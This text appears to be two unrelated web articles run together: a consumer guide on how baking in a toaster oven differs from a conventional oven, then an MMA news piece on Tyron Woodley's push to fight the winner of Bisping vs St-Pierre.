How Baking in a Toaster Oven is Different from Baking in a Conventional Oven If you’ve recently purchased a toaster oven, you may have already discovered that it can be used for a number of things. However, if you are still weighing your options, you may be wondering how a toaster oven is different from your conventional oven. You may also be concerned about whether or not you can benefit from using a toaster oven, or if you will use it enough to justify the initial investment. While toaster ovens can be used for almost anything, they are especially useful for baking. For instance, there may be times when you have unexpected company. With a toaster oven, you can quickly bake a small amount of cookies to serve your guests. Toaster ovens are smaller than a conventional oven. Because of this, they heat up much more quickly. You can have a half dozen cookies baked in your toaster oven in the amount of time it would take you to preheat your conventional oven. In addition to taking less time to preheat, the actual baking time is also generally 2-4 minutes shorter in a toaster oven. When baking in a toaster oven, you should also consider that many toaster ovens are convection. This means that the heat circulates through the entire oven using a fan. With a conventional oven, there are one or two heating elements in the bottom. When you set the thermostat, the heating elements will heat to that temperature. Once the elements begin to heat up, the heat from the bottom rises to the top of the oven. There is no way to circulate the heat evenly. How does this affect the item that you’re baking? In a conventional oven, you may discover that you often have to rotate the pans in order to get your foods to bake evenly. You may also notice that items on the lower rack sometimes get burned on the bottom if you don’t watch them carefully. When you bake your items in a toaster oven, the fans evenly distribute the heat. Your cookies or cake will be perfectly golden without you constantly moving them around. Like conventional ovens, the temperature of a toaster oven can vary greatly. However, the range in temperature is slightly different. Normally conventional ovens range from approximately 200 degrees to 500 degrees Fahrenheit. With a toaster oven, the range is usually from around 130 degrees to 500 degrees Fahrenheit. Many toaster ovens also have settings for baking, toasting, broiling, and warming. If your toaster oven has these settings, it makes baking even easier. You simply turn the dial to the bake setting, and your toaster oven will heat to the appropriate temperature for baking your cookies. When baking in large quantities, your conventional oven may still be quicker and easier. However, there are many times when a toaster oven can be beneficial. If you have a busy lifestyle, you may discover that owning a toaster oven can often save you a great deal of time. You will spend less time preheating, and you’ll be able to quickly and easily bake almost anything. For more information about how convectional ovens and toaster ovens differ from each other, be sure to read Toaster Oven vs Conventional Oven. Check out more of our helpful guides |
There doesn’t seem to be a clear cut contender at the welterweight division right now, but there are a few upcoming bouts that could determine the next challenger. Among those in the mix include the winners of Rafael dos Anjos vs Robbie Lawler and Stephen Thompson vs. Jorge Masvidal, Colby Covington, and the returning former interim champ in Carlos Condit. With Tyron Woodley still nursing a shoulder injury, the timing makes sense and we’ll likely be able to wait and see how the title picture unfolds in the coming months. If you ask the welterweight champion though, his next bout won’t be against any of the welterweights listed above. “I think my next opponent is going to be the winner of Bisping and Georges St-Pierre,” Woodley said on the Anik and Florian Podcast. “I think that’s my next fight. Victorious in that fight, I think you see me move up to a different weight class.” Woodley, who has constantly spoken about deserving that “money fight,” made his case for the champion vs champion bout. He says he’s beaten multiple top welterweights and his resume should speak for itself. “It’s tough for me to say, because at one point in time, you look at 1, 2 and 3, and I beat them. I beat 1, 2, 3, 5. Kelvin Gastelum and Johny Hendricks were in the mix, I beat them as well,” he said. [Editors note: Hendricks never made it to their bout as he had a bad weight cut] “(I beat) Tarec Saffiedine, who just got bumped out (of the top 15), Dong Hyun Kim, who just got bumped out. “People have short term memories on what my resume is, and my finishing ability. I have 18 victories, 11 of those were finishes, 9 of those in the first round,” he said. “Sometimes when you’re fighting the actual number 1 contenders — which very few champions are doing this day and age — you’re fighting the Stephen Thompsons, the Demian Maias, these fights aren’t going to be blowouts. Sometimes it’s the 4th quarter field goal that wins the fight. Sometimes it’s the grind, and sometimes it comes down to the last straw. It’s like bowling. Everything is not a strike, you’ve got to be able to catch a spare in there.” It is true that Woodley does have a nice resume that includes several top welterweights from this era, and I also think that Woodley moving up to middleweight could be interesting to see. Unfortunately for him, his goal of fighting the winner of UFC 217’s main event seems highly unlikely. Apart from the fact that Dana White already said he isn’t keen on rewarding Woodley with super-fights, the interim middleweight champion in Robert Whittaker has already been lined up to compete in Perth, Australia. This will be UFC 221 on February 11, and officials are expecting it to be a title unification against the winner of that very bout between Bisping and GSP. Stranger things have happened in the sport, but Woodley facing the winner of the UFC 217 main event next just seems unrealistic at this point. |
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